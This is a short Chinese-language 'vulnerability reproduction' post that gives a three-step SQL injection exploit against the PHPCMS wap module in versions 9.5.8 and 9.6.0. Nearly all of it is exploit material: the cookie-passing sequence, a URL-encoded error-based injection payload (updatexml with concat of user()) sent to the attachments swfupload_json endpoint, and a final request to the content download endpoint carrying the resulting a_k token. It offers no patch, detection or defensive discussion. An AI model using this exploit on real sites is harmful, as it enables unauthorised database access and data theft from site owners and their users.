【漏洞复现】PHPCMS wap模块 SQL注入（附EXP）

漏洞影响版本：v9.5.8、v9.6.0

Step1：

　　访问：http://www.xxx.com/index.php?m=wap&a=index&siteid=1，

　　获取返回的cookie：xxx_siteid=xxx1

Step2:

　　构造POST数据，利用Step1返回的cookie值，赋值给userid_flash变量：userid_flash=xxx1

　　然后以POST方式访问以下链接：

http://www.cms_yu.com:82/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26%E4%B8%8D

　　获取返回的cookie，xxx_att_json=xxx2

Step3：

　　将Step2获取到的cookie值赋值给a_k参数，访问以下链接：

http://www.cms_yu.com:82/index.php?m=content&c=down&a_k=ac02FlgTu22hGqJOVB5dC2EHO2MM9IYKpwoQnQJHzDRZoSVgV8XgIrxCnwblXZdSixUYJxMXzuSNoXKl9hHKWh1AyeqnQ5S1iiCNDUbJkbK0U327gCvXyL0SMu4arjGRAHET7RnZsO02GFLh6jxQL8kERE9ZpQWmfRwkvnkFlvexTLn9fz0yJq-VGn0i46w
